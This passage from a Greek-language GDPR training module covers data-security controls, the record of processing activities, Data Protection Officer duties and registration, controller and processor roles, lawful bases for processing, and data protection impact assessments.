δοκιμή,

εκτίμηση

και

αξιολόγηση

της

αποτελεσματικότητας των τεχνικών και των οργανωτικών μέτρων για τη διασφάλιση της ασφάλειας της επεξεργασίας ε) Μάθετε πού βρίσκονται τα προσωπικά δεδομένα στον οργανισμού σας.

στ) Προσδιορίστε όλους τους κινδύνους που θα μπορούσαν να προκαλέσουν παραβίαση των προσωπικών σας δεδομένων. ζ) Εφαρμόστε τα καταλληλότερα μέτρα (ελέγχους) για να μετριάσετε αυτούς τους κινδύνους. η) Εφαρμογή των απαραίτητων πολιτικών και διαδικασιών για τη στήριξη των ελέγχων. θ) Διεξάγετε τακτικές δοκιμές και ελέγχους για να βεβαιωθείτε ότι τα χειριστήρια λειτουργούν όπως προβλέπεται. ι)

Αναθεωρήστε, αναφέρετε και ενημερώστε τα σχέδιά σας τακτικά.

ια) Εφαρμόστε ένα ολοκληρωμένο και αξιόπιστο Σύστημα Ασφαλείας Δεδομένων.

Μέτρα ασφαλούς επεξεργασίας Υιοθέτηση βέλτιστων πρακτικών για την ασφάλεια των πληροφοριών και τις τρεις βασικές πτυχές ενός ολοκληρωμένου καθεστώτος ασφάλειας πληροφοριών: ανθρώπους, διαδικασίες και τεχνολογία. Ενδεικτικά: •

Cryptographic controls (policy on the use, key management)

•

Physical Security (perimeter security, entry controls, securing office, protecting against external threats)

•

Equipment (to prevent loss, damage, theft or compromise of assets)

•

Protection form malware (detection, prevention and recovery controls to protect against malware)

•

Back Up (to protect against loss of data)

•

Logging and monitoring (to record events and generate evidence)

•

Control of operational software

•

Technical vulnerability management (to prevent exploitation of technical vulnerabilities)

•

Network security management

•

Information transfer

Τα βήματα της ασφαλούς επεξεργασίας

Αρχείο Δραστηριοτήτων Επεξεργασίας (Data Flow Mapping) Η υποχρέωση βαραίνει οργανισμούς που ενεργούν ως υπεύθυνοι επεξεργασίας ή ως εκτελ ούντες την επεξεργασία. Η συμπλήρωση αυτού του Αρχείου εξυπηρετεί πολλαπλούς σκοπούς. Πρώτο, ένας οργανισμός έχει υποχρέωση να θέσει το Αρχείο Δραστηριοτήτων στη διάθεση της Επιτρόπου,αν τοζητήσει. Δεύτερο, βοηθά να απαντηθούν ερωτήματα όπως ποίος είμαι, τι κάνω, πώς το κάνω και γιατί το κάνω. Είναι ένα εργαλείο αυτογνωσίας και αυτόαξιολόγησης για τη συμμόρφωση με τον Κανονισμό. Τρίτο, βοηθά στην υιοθέτηση της πολιτικής προστασίας της ιδιωτικής ζωής (privacy policy), αν ένας οργανισμός χρειάζεται να διαθέτει τέτοια. Τέταρτο, βοηθά ένα οργανισμό να συμμορφώνεται με τις Αρχές της Λογοδοσίας. Πέμπτο, βοηθά στη διαμόρφωση πολιτικής ή μηχανισμών για την άσκηση των δικαιωμάτων των υποκειμένων των δεδομένων (Άρθρο12(1)). Όπως αναφέρεται πιο πάνω, την ευθύνη τήρησης του Αρχείου έχουν κατά περίπτωση,ο υπεύθυνος επεξεργασίας και ο εκτελών την επεξεργασία ή οι τυχόν εκτελών την επεξεργασία ή οι τυχόν εκπρόσωποί τους. Ωστόσο, μπορούν να αναθέσουν αυτό το καθήκον σε κάποιο υπάλληλό τους ή σε κάποιο εξωτερικό ειδικό. Η υποχρέωση βαραίνει οργανισμούς που ενεργούν ως υπεύθυνοι επεξεργασίας ή ως εκτελούντες την επεξεργασία. Η απαίτηση διατήρησης αυτού του αρχείου δεν ισχύει για επιχείρηση ή οργανισμό που απασχολεί λιγότερα από 250 άτομα, εκτός εάν η διενεργούμενη επεξεργασία ενδέχεται να προκαλέσει κίνδυνο για τα δικαιώματα και τις ελευθερίες του υποκειμένου των δεδομένων,

η επεξεργασία δεν είναι περιστασιακή ή η επεξεργασία περιλαμβάνει ειδικές κατηγορίες δεδομένων (π.χ. δεδομένα για την υγεία ή βιομετρικά δεδομένα).

Τι πληροφορίες πρέπει να τηρούνται στο Αρχείο Δραστηριοτήτων Επεξεργασίας; Το Αρχείο Δραστηριοτήτων πρέπει να περιλαμβάνει τουλάχιστον τις εξής πληροφορίες: •

Την περιγραφή της κάθε δραστηριότητας του οργανισμού

•

Αν η δραστηριότητα είναι κύρια ή παρεπόμενη

•

Τη νομική βάση της επεξεργασίας

•

Τα στοιχεία του υπεύθυνου ή/και του εκτελών την επεξεργασία

•

Το σκοπό της επεξεργασίας

•

Τις κατηγορίες των υποκειμένων των δεδομένων

•

Τις κατηγορίες των προσωπικών δεδομένων

•

Τις κατηγορίες των αποδεκτών

•

Τη διαβίβαση σε τρίτες χώρα/ διεθνή οργανισμό

•

Τη διαγραφή των δεδομένων

•

Τα τεχνικά και οργανωτικά μέτρα ασφάλειας

Εκπαιδευτική Υποενότητα 14.3 Κριτήρια - Προϋποθέσεις θέσης Βασικοί ορισμοί θέσεων - Γενικές έννοιες Ο ΓΚΠΔ εισάγει αναλυτικές διατάξεις για τον ρόλο, τις παρεχόμενες εγγυήσεις και τα καθήκοντα του Υπευθύνου Προστασίας Δεδομένων (ΥΠΔ) (Data Protection Officer – DPO) (άρθρα 37-40 ΓΚΠΔ), ο οποίος βρίσκεται πλέον στο επίκεντρο του νέου νομικού πλαισίου. Τα άρθρα 6-8 του ν. 4624/2019 αφορούν τον ορισμό, τη θέση και τα καθήκοντα του ΥΠΔ σε δημόσιους φορείς. Ειδικότερα, ορισμένοι υπεύθυνοι επεξεργασίας αλλά και εκτελούντες την επεξεργασία υποχρεούνται πλέον, υπό συγκεκριμένες προϋποθέσεις, να ορίζουν ΥΠΔ. Ο ΥΠΔ διευκολύνει τη συμμόρφωση του υπευθύνου επεξεργασίας και του εκτελούντος την επεξεργασία

με

τις

διατάξεις

του

ΓΚΠΔ

και μεσολαβεί μεταξύ

των

διαφόρων

ενδιαφερομένων (π.χ. εποπτικές αρχές, υποκείμενα των δεδομένων). Ο ρόλος του είναι συμβουλευτικός (όχι αποφασιστικός) και δεν φέρει προσωπική ευθύνη για τη μη συμμόρφωση με τον ΓΚΠΔ.

Υπεύθυνος να διασφαλίζει και να μπορεί να αποδεικνύει ότι η επεξεργασία διενεργείται σύμφωνα με τον ΓΚΠΔ είναι ο υπεύθυνος επεξεργασίας ή ο εκτελών την επεξεργασία. Προβλέπονται συγκεκριμένα καθήκοντα του ΥΠΔ και αντίστοιχες υποχρεώσεις του εργοδότη του. Παράβαση των σχετικών με τον ΥΠΔ διατάξεων επιφέρει κυρώσεις (βλ. άρθρα 3738 και 83 σε συνδυασμό με την αιτιολογική σκέψη 97 ΓΚΠΔ). Τέλος, ορίζεται ρητά ότι τα στοιχεία επικοινωνίας του ΥΠΔ πρέπει να δημοσιοποιούνται προκειμένου να διασφαλίζεται η απρόσκοπτη επικοινωνία με τα υποκείμενα των δεδομένων. Επιπλέον, προβλέπεται υποχρέωση για τον υπεύθυνο επεξεργασίας και τον εκτελούντα την επεξεργασία να ανακοινώνουν στην εποπτική αρχή στοιχεία που αφορούν στον ορισμό του ΥΠΔ. Η υποχρέωση αυτή βαρύνει και τους φορείς που εμπίπτουν στο πεδίο εφαρμογής του κεφαλαίου Δ του ν. 4624/2019 (οδηγία (ΕΕ) 2016/680) (άρθρο 6 του ν. 4624/2019). Για να ανακοινώσουν στην Αρχή τον ορισμό του ΥΠΔ, σε συμμόρφωση με την προαναφερθείσα υποχρέωσή τους, οι υπεύθυνοι επεξεργασίας και οι εκτελούντες την επεξεργασία πρέπει να συμπληρώσουν ειδική φόρμα και να την υποβάλουν στη Αρχή ηλεκτρονικά, μέσω της διαδικτυακής πύλης της. Η ως άνω ηλεκτρονική υποβολή συνίσταται, συνοπτικά, στα εξής βήματα: 1.

Σύνδεση του υπευθύνου επεξεργασίας ή του εκτελούντα την επεξεργασία

στη διαδικτυακή πύλη της Αρχής ως «φορέα», με χρήση των διαπιστευτηρίων taxisnet (στον ίδιο σύνδεσμο είναι διαθέσιμες οδηγίες για τη σύνδεση και τη χρήση των ηλεκτρονικών υπηρεσιών της Αρχής). 2.

Συμπλήρωση των πεδίων της ηλεκτρονικής φόρμας που παρέχεται με την

επιλογή «Στοιχεία DPO/Ορισμός» (οδηγίες συμπλήρωσης). 3.

Υποβολή της εν λόγω ηλεκτρονικής φόρμας.

Η αντικατάσταση του ΥΠΔ γίνεται μέσω της συμπλήρωσης της ηλεκτρονικής φόρμας που παρέχεται με την επιλογή «Στοιχεία DPO/Προβολή-Αλλαγή», η οποία είναι διαθέσιμη αφού υποβληθεί η ηλεκτρονική φόρμα του ορισμού ΥΠΔ. Η διαγραφή/κατάργηση του ΥΠΔ (και η μη αντικατάστασή του) γίνεται μέσω της συμπλήρωσης της ηλεκτρονικής φόρμας που παρέχεται με την επιλογή «Στοιχεία DPO/Διαγραφή», η οποία είναι διαθέσιμη αφού υποβληθεί η ηλεκτρονική φόρμα του ορισμού ΥΠΔ. Επισημαίνεται ότι η δυνατότητα αυτή έχει, ουσιαστικά, εφαρμογή στην περίπτωση που έχει ορισθεί ΥΠΔ σε εθελοντική βάση χωρίς να είναι υποχρεωτικός ο ορισμός του, ή σε άλλες περιπτώσεις, όπως η αλλαγή δραστηριότητας ή η λύση μιας εταιρείας. Προσοχή: Η υποχρέωση ανακοίνωσης ορισμού ΥΠΔ ικανοποιείται ΜΟΝΟ με την υποβολή της συγκεκριμένης ηλεκτρονικής φόρμας μετά από σύνδεση στη διαδικτυακή πύλη της

Αρχής. Κατ’ εξαίρεση, σε περίπτωση που, για τεκμηριωμένο λόγο, o υπεύθυνος επεξεργασίας ή ο εκτελών δεν διαθέτουν κωδικούς taxisnet και άρα δεν υπάρχει δυνατότητα σύνδεσής τους στη διαδικτυακή πύλη της Αρχής, μπορεί, για τη σχετική ανακοίνωση, να σταλεί συμπληρωμένο το παρακάτω παρατιθέμενο έντυπο με ηλεκτρονικό ταχυδρομείο (βλ. τη διαδικασία που περιγράφεται παρακάτω). Τυπικό παράδειγμα φορέα, ο οποίος μπορεί να πραγματοποιήσει την ανακοίνωση ορισμού ΥΠΔ με e-mail: φορέας ο οποίος δεν διαθέτει ελληνικό ΑΦΜ, και άρα δεν διαθέτει κωδικούς taxisnet. Τέτοιοι φορείς μπορεί να είναι εταιρείες εγκατεστημένες εκτός ΕΕ οι οποίες εμπίπτουν στο πεδίο εφαρμογής του ΓΚΠΔ, δυνάμει του άρθρου 3 παρ. 2 περ. α’ και β΄. Ο υπεύθυνος επεξεργασίας ορίζει τους σκοπούς της επεξεργασίας δεδομένων προσωπικού χαρακτήρα και τα μέσα με τα οποία αυτή πραγματοποιείται. Επομένως, εάν η εταιρεία ή ο οργανισμός σας αποφασίζει «γιατί» και «πώς» τα δεδομένα προσωπικού χαρακτήρα πρέπει να υποβάλλονται σε επεξεργασία, θεωρείται ο υπεύθυνος επεξεργασίας. Οι εργαζόμενοι που επεξεργάζονται δεδομένα προσωπικού χαρακτήρα εντός του οργανισμού σας το κάνουν για να εκπληρώσουν τα δικά σας καθήκοντα ως υπεύθυνου επεξεργασίας. Η εταιρεία ή ο οργανισμός σας θεωρείται από κοινού υπεύθυνος επεξεργασίας όταν σε συνεργασία με έναν ή περισσότερους οργανισμούς αποφασίζει από κοινού «γιατί» και «πώς» θα πρέπει να υποβάλλονται σε επεξεργασία δεδομένα προσωπικού χαρακτήρα. Οι από κοινού υπεύθυνοι επεξεργασίας πρέπει να συνάπτουν μεταξύ τους συμφωνία που καθορίζει τις αντίστοιχες αρμοδιότητές τους για τη συμμόρφωση με τους κανόνες του ΓΚΠΔ. Τα κύρια σημεία της συμφωνίας πρέπει να κοινοποιούνται στα φυσικά πρόσωπα των οποίων τα δεδομένα υποβάλλονται σε επεξεργασία. Ο εκτελών την επεξεργασία επεξεργάζεται δεδομένα προσωπικού χαρακτήρα μόνο εκ μέρους του υπεύθυνου επεξεργασίας. Ο εκτελών την επεξεργασία είναι συνήθως τρίτος εκτός εταιρείας. Ωστόσο, στην περίπτωση ομίλων επιχειρήσεων, μια επιχείρηση μπορεί να ενεργεί ως εκτελούσα την επεξεργασία για λογαριασμό άλλης επιχείρησης. Τα καθήκοντα του εκτελούντος την επεξεργασία προς τον υπεύθυνο επεξεργασίας πρέπει να καθορίζονται σε σύμβαση ή άλλη νομική πράξη. Για παράδειγμα, η σύμβαση πρέπει να αναφέρει τι γίνεται με τα δεδομένα προσωπικού χαρακτήρα μετά τη λήξη της σύμβασης. Μια τυπική δραστηριότητα των εκτελούντων την επεξεργασία είναι η παροχή λύσεων ΤΠ, συμπεριλαμβανομένης της αποθήκευσης σε νέφος. Ο εκτελών την επεξεργασία των δεδομένων μπορεί να αναθέτει μέρος των εργασιών του σε άλλον εκτελούντα την επεξεργασία υπεργολάβο ή να διορίζει από κοινού εκτελούντα την επεξεργασία μόνον

εφόσον έχει λάβει προηγούμενη γραπτή άδεια από τον υπεύθυνο επεξεργασίας των δεδομένων. Υπάρχουν περιπτώσεις όπου μια οντότητα μπορεί να είναι υπεύθυνος επεξεργασίας δεδομένων ή εκτελών την επεξεργασία ή και τα δύο.

Επεξήγηση αρμοδιοτήτων - καθηκόντων - ευθυνών Ο ΥΠΔ βοηθά τον υπεύθυνο επεξεργασίας ή τον εκτελούντα την εργασία σε όλα τα ζητήματα που σχετίζονται με την προστασία των δεδομένων προσωπικού χαρακτήρα. Πιο συγκεκριμένα, ο ΥΠΔ οφείλει: να ενημερώνει και να συμβουλεύει τον υπεύθυνο επεξεργασίας ή τον εκτελούντα την επεξεργασία, καθώς και το προσωπικό που απασχολούν, σχετικά με τις υποχρεώσεις τους σύμφωνα με τη νομοθεσία περί προστασίας δεδομένων· να παρακολουθεί τη συμμόρφωση του οργανισμού με το σύνολο της νομοθεσίας που αφορά την προστασία δεδομένων, επίσης κατά τη διάρκεια ελέγχων, δραστηριοτήτων ενημέρωσης και εκπαίδευσης του προσωπικού που συμμετέχει σε πράξεις επεξεργασίας· να παρέχει συμβουλές όταν έχει πραγματοποιηθεί ΕΑΠΔ και να παρακολουθεί τα αποτελέσματά της· να λειτουργεί ως σημείο επαφής για αιτήματα φυσικών προσώπων που αφορούν την επεξεργασία των δεδομένων τους προσωπικού χαρακτήρα και την άσκηση των δικαιωμάτων τους· να συνεργάζεται με ΑΠΔ και να λειτουργεί ως σημείο επαφής για ΑΠΔ σχετικά με ζητήματα που αφορούν την επεξεργασία. Ο ΥΠΔ πρέπει να εμπλέκεται από τον οργανισμό έγκαιρα. Ο ΥΠΔ δεν πρέπει να λαμβάνει οδηγίες από τον υπεύθυνο επεξεργασίας ή τον εκτελούντα την επεξεργασία για την άσκηση των καθηκόντων του. Ο ΥΠΔ αναφέρεται απευθείας στο υψηλότερο επίπεδο διοίκησης του οργανισμού. Ο

υπεύθυνος

επεξεργασίας

εφαρμόζει κατάλληλα

τεχνικά και οργανωτικά

μέτρα προκειμένου να διασφαλίζει και να μπορεί να αποδεικνύει ότι η επεξεργασία διενεργείται σύμφωνα με τον Κανονισμό, όπως: - η ψευδωνυμοποίηση -σχεδιασμένα για την εφαρμογή των αρχών προστασίας των δεδομένων όπως η ελαχιστοποίηση των δεδομένων -σχεδιασμένα ώστε να προάγουν την διαφάνεια όσον αφορά τις λειτουργίες και τις επεξεργασίες δεδομένων προκειμένου να μπορεί το υποκείμενο των δεδομένων να

παρακολουθεί την επεξεργασία και να είναι σε θέση ο υπεύθυνος επεξεργασίας να δημιουργεί και να βελτιώνει τα χαρακτηριστικά ασφαλείας. (Αιτ. Σκέψη 78 ΓΚΠΔ και άρθρο 25 ΓΚΠΔ για προστασία των δεδομένων ήδη από το σχεδιασμό και εξ’ ορισμού–privacy by design/privacy by default). Η συμμόρφωση τέλος του υπεύθυνου επεξεργασίας προς της υποχρεώσεις του μπορεί να αποδεικνύεται και από την εφαρμογή κατάλληλων πολιτικών προστασίας δεδομένων και τη τήρηση εγκεκριμένου κώδικα δεοντολογίας ή μηχανισμού πιστοποίησης. Περαιτέρω, ο υπεύθυνος (και ο εκτελών) επεξεργασίας τηρεί εγγράφως ή ηλεκτρονικά αρχείο δραστηριοτήτων επεξεργασιών τους. Η τήρηση αρχείου καταγραφής των δραστηριοτήτων επεξεργασιών είναι υποχρεωτική: Όταν η επιχείρηση ή ο οργανισμός απασχολεί άνω των 250 ατόμων. Όταν η επεξεργασία δημιουργεί κινδύνους για τα δεδομένα. Όταν η επεξεργασία δεν είναι περιστασιακή. Όταν η επεξεργασία περιλαμβάνει ειδικές κατηγορίες δεδομένων, όπως «ευαίσθητα δεδομένα», βιομετρικά, γενετικά δεδομένα, δεδομένα που αφορούν ποινικές καταδίκες, αδικήματα και μέτρα ασφαλείας. Εκτίμηση Αντικτύπου σχετικά με την Προστασία Δεδομένων (ΕΑΠΔ) - Privacy Impact Assessment (PIA)- Άρθρο 35 ΓΚΠΔ. Ακόμη, ο υπεύθυνος επεξεργασίας διενεργεί πριν από την επεξεργασία, εκτίμηση των επιπτώσεων των σχεδιαζόμενων πράξεων επεξεργασίας όταν αυτές αφορά είδος που ενδέχεται να επιφέρει υψηλό κίνδυνο και ιδίως στην περίπτωση: α) συστηματικής και εκτενούς αξιολόγησης προσωπικών πτυχών σχετικά με φυσικά πρόσωπα, όπως η κατάρτιση προφίλ (π.χ. πληροφορίες σε σχέση με τα μέσα κοινωνικής δικτύωσης). β) επεξεργασίας μεγάλης κλίμακας των δεδομένων των άρθρων 9 και 10 ΓΚΠΔ γ)συστηματικής παρακολούθησης δημοσίως προσβάσιμου χώρου σε μεγάλη κλίμακα «Η εκτίμηση αντικτύπου θα πρέπει να περιλαμβάνει τα προβλεπόμενα μέτρα, εγγυήσεις και μηχανισμούς που μετριάζουν τον κίνδυνο, διασφαλίζουν την προστασία και αποδεικνύουν την συμμόρφωση προς τον Κανονισμό»(Αιτ. Σκ. 90 ΓΚΠΔ). Συμπερασματικά, αξίζει να σημειωθεί ότι κάθε υποχρέωση συμμόρφωσης του υπευθύνου επεξεργασίας προς τον ΓΚΠΔ βαρύνει τον ίδιο (ακόμη και η από μέρους του επιλογή του εκτελούντος την επεξεργασία). Αυτή ακριβώς η ευθύνη οδηγεί και στην επιβολή διοικητικών προστίμων σε βάρος του υπευθύνου ή εκτελούντος την επεξεργασία (άρ.83)

έως 20.000.000,00 ευρώ ή σε περίπτωση επιχειρήσεων έως το 4% του συνολικού παγκόσμιου ετήσιου κύκλου εργασιών του προηγούμενου οικονομικού έτους. Οι εκτελούντες επεξεργασία αντιμετωπίζουν πρόσθετα καθήκοντα και ευθύνη για μη συμμόρφωση διαφορετικά, ενεργούν εκτός του πλαισίου των οδηγιών που παρέχει ο υπεύθυνος επεξεργασίας, σε σύγκριση με την Οδηγία για την προστασία δεδομένων. Τα καθήκοντα του εκτελούντος επεξεργασία περιλαμβάνουν ενδεικτικά: Την επεξεργασία δεδομένων μόνο σύμφωνα με τις οδηγίες του υπεύθυνου επεξεργασίας. Τη χρήση κατάλληλων τεχνικών και οργανωτικών μέτρων για την προστασία των προσωπικών δεδομένων. Την παροχή βοήθειας στον υπεύθυνο επεξεργασίας με αιτήσεις για υποκείμενα δεδομένων. Την διασφάλιση ότι οι υπεργολάβοι εκτέλεσης επεξεργασίας που εμπλέκονται πληρούν αυτές τις απαιτήσεις.

Προϋποθέσεις διορισμών- Οργανωτική δομή επιχειρήσεων Κάθε οργανισμός μπορεί να ορίσει Υπεύθυνο Προστασίας Προσωπικών Δεδομένων (DPO). Ακόμη και στις περιπτώσεις που ο ορισμός DPO δεν είναι υποχρεωτικός, ενθαρρύνονται τέτοιου είδους εθελοντικές ενέργειες. Όταν ένας οργανισμός ορίζει DPO σε εθελοντική βάση, σε σχέση με τον ορισμό, τη θέση και τα καθήκοντά του θα ισχύουν οι ίδιες απαιτήσεις ως εάν ο ορισμός να ήταν υποχρεωτικός

Ο εργοδότης υποχρεούται να δημοσιεύσει τα στοιχεία επικοινωνίας του DPO και να τα ανακοινώσει στην εποπτική αρχή. Επίσης, οφείλει να διασφαλίζει ότι ο DPO: Συμμετέχει σε όλα τα ζητήματα σχετικά με την προστασία προσωπικών δεδομένων (π.χ. παρουσία σε συσκέψεις ανώτερων και μεσαίων στελεχών της διοίκησης και κατά τη λήψη αποφάσεων, καταγραφή λόγων διαφωνίας με τις συμβουλές του, έγκαιρη διαβίβαση πληροφοριών για παροχή γνώμης, άμεση λήψη γνώμης σε περίπτωση περιστατικού παραβίασης). Έχει ελεύθερη πρόσβαση σε δεδομένα και πράξεις επεξεργασίας. Έχει στη διάθεσή του τους απαραίτητους πόρους για την εκπλήρωση των καθηκόντων του (π.χ. ενεργή στήριξη από τα ανώτερα διοικητικά στελέχη, οικονομικούς πόρους, υποδομές, συνεχής κατάρτιση). Εκπληρώνει τα καθήκοντά του με ανεξάρτητο τρόπο (δεν λαμβάνει εντολές για την άσκηση των καθηκόντων του) και δεν απολύεται ούτε υφίσταται κυρώσεις επειδή επιτέλεσε τα καθήκοντά του. Λογοδοτεί απευθείας στο ανώτατο διοικητικό επίπεδο του εργοδότη. Όταν ασκεί πρόσθετα καθήκοντα, αυτά να μην συνεπάγονται σύγκρουση συμφερόντων (π.χ. δεν μπορεί να κατέχει θέση από την οποία μπορεί να καθορίζει τους σκοπούς και τα μέσα της επεξεργασίας, όπως θέσεις ανώτερης διοίκησης, νομικού συμβούλου). Δεσμεύεται από την τήρηση του απορρήτου ή της εμπιστευτικότητας σχετικά με την εκτέλεση των καθηκόντων του. Ο DPO μπορεί να είναι μέλος του προσωπικού του υπευθύνου επεξεργασίας ή του εκτελούντος την επεξεργασία (εσωτερικός υπεύθυνος προστασίας δεδομένων) ή να ασκεί τα καθήκοντά του βάσει σύμβασης παροχής υπηρεσιών (εξωτερικός συνεργάτης). Σε κάθε περίπτωση, μπορεί να συνεπικουρείται από ομάδα, εφόσον απαιτείται. Συνιστάται δε να είναι εγκατεστημένος εντός ΕΕ, ανεξάρτητα από το εάν ο υπεύθυνος επεξεργασίας ή ο εκτελών την επεξεργασία είναι ή όχι εγκατεστημένοι στην ΕΕ. Σύμφωνα με το άρθρο 6 ΓΚΠΔ, η επεξεργασία είναι σύννομη μόνον εφόσον ισχύει τουλάχιστον μία από τις ακόλουθες προϋποθέσεις: το υποκείμενο έχει δώσει τη συγκατάθεσή του για την επεξεργασία των προσωπικών του δεδομένων για έναν ή περισσότερους σκοπούς, η επεξεργασία είναι αναγκαία για την εκτέλεση σύμβασης της οποίας το υποκείμενο των δεδομένων είναι συμβαλλόμενο μέρος ή για τη λήψη μέτρων πριν τη σύναψη της σύμβασης κατόπιν αιτήσεως του υποκειμένου των δεδομένων,

η επεξεργασία είναι αναγκαία για την εκπλήρωση εκ του νόμου υποχρέωσης του υπευθύνου επεξεργασίας, η επεξεργασία είναι αναγκαία για τη διαφύλαξη ζωτικού συμφέροντος του υποκειμένου των δεδομένων ή άλλου φυσικού προσώπου, η

επεξεργασία

συμφέροντος ή άσκησης

είναι

αναγκαία

δημόσιας

για

εξουσίας που

την εκτέλεση έχει

έργου

δημοσίου

στον

υπεύθυνο

την ικανοποίηση

εννόμου

ανατεθεί

επεξεργασίας, και η

επεξεργασία

είναι

απολύτως

αναγκαία

για

συμφέροντος του υπεύθυνου της επεξεργασίας ή τρίτου, στον οποίο ανακοινώνονται τα δεδομένα, το οποίο (συμφέρον) υπερέχει προφανώς των δικαιωμάτων και συμφερόντων του υποκειμένου, ιδίως εάν το υποκείμενο των δεδομένων είναι παιδί. Η εκτίμηση του αντικτύπου Κινδύνου σχετικά με την προστασία δεδομένων στον Γενικό Κανονισμό Προστασίας Δεδομένων (GDPR) Καθορισμός του κατά πόσον η επεξεργασία «ενδέχεται να επιφέρει υψηλό κίνδυνο» για τους σκοπούς του Γενικού Κανονισμού Προστασίας Δεδομένων. Με τις κατευθυντήριες γραμμές της Ομάδας Εργασίας του Άρθρου 29 (WP29*) παρέχονται διευκρινίσεις αναφορικά με την εκτίμηση του αντικτύπου σχετικά με την προστασία δεδομένων (ΕΑΠΔ) και τον καθορισμό του κατά πόσον η επεξεργασία «ενδέχεται να επιφέρει υψηλό κίνδυνο» για τους σκοπούς του Γενικού Κανονισμού για την Προστασία Δεδομένων (GDPR).Όπως είναι γνωστό, ο κανονισμός 2016/679 (Γενικός Κανονισμός για την Προστασία Δεδομένων – ΓΚΠΔ) θα τεθεί σε εφαρμογή από την 25η Μαΐου 2018. Το άρθρο 35 του ΓΚΠΔ εισάγει την έννοια της εκτίμησης αντικτύπου σχετικά με την προστασία δεδομένων (ΕΑΠΔ1), όπως και η οδηγία 2016/6802.Σύμφωνα με την WP 29, η εκτίμηση αντικτύπου σχετικά με την προστασία δεδομένων είναι μια διαδικασία που έχει σχεδιαστεί για να περιγράψει την επεξεργασία, να αξιολογήσει την αναγκαιότητα και την αναλογικότητά της και να συνδράμει στη διαχείριση των κινδύνων για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων που συνεπάγεται η επεξεργασία των δεδομένων προσωπικού χαρακτήρα, με την αξιολόγησή τους και τον καθορισμό μέτρων για την αντιμετώπισή τους. Τι αποτελεί η Εκτίμηση Αντικτύπου Κινδύνου. (άρθρο 24) Η ΕΑΠΔ αποτελεί σημαντικό εργαλείο για την πλήρωση της υποχρέωσης λογοδοσίας, καθώς παρέχει συνδρομή στους υπεύθυνους επεξεργασίας όχι μόνον προκειμένου να συμμορφώνονται με τις προδιαγραφές του ΓΚΠΔ, αλλά και για να αποδεικνύουν ότι έχουν ληφθεί τα ενδεδειγμένα μέτρα για τη διασφάλιση της συμμόρφωσης προς τον κανονισμό. Η Εκτίμηση Αντικτύπου κινδύνου (ΕΑΠΔ) ως διαδικασία εμπέδωσης της συμμόρφωσης

Με άλλα λόγια, η ΕΑΠΔ είναι μια διαδικασία εμπέδωσης και απόδειξης της συμμόρφωσης. Βάσει του ΓΚΠΔ, η μη συμμόρφωση με τις απαιτήσεις ΕΑΠΔ μπορεί να οδηγήσει στην επιβολή προστίμων από την αρμόδια εποπτική αρχή. Η παράλειψη διενέργειας ΕΑΠΔ σε επεξεργασία που υπόκειται σε απαίτηση διενέργειας ΕΑΠΔ (άρθρο 35 παράγραφος 1 και παράγραφοι 34), η διενέργεια ΕΑΠΔ με εσφαλμένο τρόπο (άρθρο 35 παράγραφος 2 και παράγραφοι 7-9) ή η μη διαβούλευση με την αρμόδια εποπτική αρχή εφόσον απαιτείται [άρθρο 36 παράγραφος 3 στοιχείο ε)] μπορούν να επιφέρουν διοικητικό πρόστιμο ύψους έως 10 εκατ. ευρώ ή, σε περίπτωση επιχείρησης, έως 2 % του συνολικού παγκόσμιου ετήσιου κύκλου εργασιών του προηγούμενου οικονομικού έτους, ανάλογα με το ποιο είναι υψηλότερο. ΕΑΠΔ: επεξήγηση του κανονισμού 1.

Κατά τις επιταγές του Κανονισμού , οι υπεύθυνοι επεξεργασίας οφείλουν να

εφαρμόζουν ενδεδειγμένα μέτρα για να διασφαλίζουν και να είναι σε θέση να αποδεικνύουν τη συμμόρφωση προς τον Κανονισμό λαμβάνοντας υπόψη μεταξύ άλλων «τους κινδύνους διαφορετικής πιθανότητας επέλευσης και σοβαρότητας για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων» (άρθρο 24 παράγραφος 1). 2.

Η υποχρέωση των υπεύθυνων επεξεργασίας για τη διενέργεια ΕΑΠΔ σε

ορισμένες περιστάσεις θα πρέπει να γίνεται αντιληπτή σε σχέση με τη γενική τους υποχρέωση να διαχειρίζονται με ενδεδειγμένο τρόπο τους κινδύνους

που ενέχει η

επεξεργασία των δεδομένων προσωπικού χαρακτήρα. 3.

Ως «κίνδυνος» νοείται μια υπόθεση εργασίας που περιγράφει ένα συμβάν και

τις επιπτώσεις του, που έχουν εκτιμηθεί με όρους σοβαρότητας και πιθανότητας επέλευσης.

4.

Από την άλλη, ως «διαχείριση κινδύνου» μπορούν να νοηθούν οι συντονισμένες

δραστηριότητες για την καθοδήγηση και τον έλεγχο ενός οργανισμού ως προς τον κίνδυνο. 5.

Το άρθρο 35 κάνει λόγο για ενδεχόμενο υψηλό κίνδυνο «για τα δικαιώματα και

τις ελευθερίες των φυσικών προσώπων». 6.

Όπως προκύπτει από τη δήλωση της ομάδας εργασίας του άρθρου 29 για την

προστασία των δεδομένων αναφορικά με τον ρόλο μιας προσέγγισης βάσει κινδύνου στο νομικό πλαίσιο της προστασίας δεδομένων, η παραπομπή «στα δικαιώματα και στις ελευθερίες» των υποκειμένων των δεδομένων αφορά πρωτίστως τα δικαιώματα προστασίας των δεδομένων και της ιδιωτικής ζωής, 7.

Όμως να συμπεριλαμβάνει και άλλα θεμελιώδη δικαιώματα, όπως την

ελευθερία του λόγου, την ελευθερία της σκέψης, την ελευθερία κυκλοφορίας, την

απαγόρευση των διακρίσεων, το δικαίωμα στην ελευθερία, την ελευθερία συνειδήσεως και θρησκείας. 8.

Σύμφωνα με την προσέγγιση βάσει κινδύνου που υιοθετεί ο ΓΚΠΔ, δεν απαιτείται η

διενέργεια ΕΑΠΔ σε κάθε πράξη επεξεργασίας.Αντιθέτως, η διενέργεια ΕΑΠΔ απαιτείται μόνον όταν ένα είδος επεξεργασίας «ενδέχεται να επιφέρει υψηλό κίνδυνο για τα δικαιώματα και τις ελευθερίες των φυσικών προσώπων» (άρθρο 35 παράγραφος 1). 9.

Αυτό καθαυτό γεγονός της μη πλήρωσης των όρων που ενεργοποιούν την

υποχρέωση διενέργειας ΕΑΠΔ δεν μειώνει, εντούτοις, τη γενική υποχρέωση των υπεύθυνων επεξεργασίας να εφαρμόζουν μέτρα για την ενδεδειγμένη διαχείριση των κινδύνων για τα δικαιώματα και τις ελευθερίες των υποκειμένων των δεδομένων. 10.

Στην πράξη, αυτό σημαίνει ότι οι υπεύθυνοι επεξεργασίας πρέπει να αξιολογούν

